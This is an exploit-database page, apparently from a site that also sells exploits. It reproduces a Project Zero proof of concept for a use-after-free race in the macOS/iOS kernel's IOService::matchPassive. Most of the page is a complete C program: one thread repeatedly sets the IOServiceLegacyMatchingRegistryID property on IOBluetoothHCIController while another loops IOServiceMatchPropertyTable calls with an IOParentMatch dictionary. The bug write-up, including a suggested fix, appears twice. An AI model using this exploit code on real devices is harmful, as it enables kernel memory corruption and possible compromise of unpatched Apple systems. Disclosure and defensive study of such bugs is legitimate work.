0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
macOS 10.12.1 / iOS Kernel - IOService::matchPassive Use-After-Free Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973 IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) */ // ianbeer // clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync #if 0 MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <pthread.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> io_service_t service = MACH_PORT_NULL; void* setter(void* arg) { char number = 1; CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number); while(1) { kern_return_t err; err = IORegistryEntrySetCFProperty( service, CFSTR("IOServiceLegacyMatchingRegistryID"), num); if (err != KERN_SUCCESS){ printf("setProperty failed\n"); return NULL; } } return NULL; } int main(){ kern_return_t err; service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); pthread_t thread; pthread_create(&thread, NULL, setter, NULL); CFMutableDictionaryRef dict2; dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value")); CFMutableDictionaryRef dict; dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService")); CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD")); CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2); while(1) { boolean_t match = 0; err = IOServiceMatchPropertyTable(service, dict, &match); if (err != KERN_SUCCESS){ printf("no matches\n"); } } pthread_join(thread, NULL); return 0; } # 0day.today [2024-09-28] #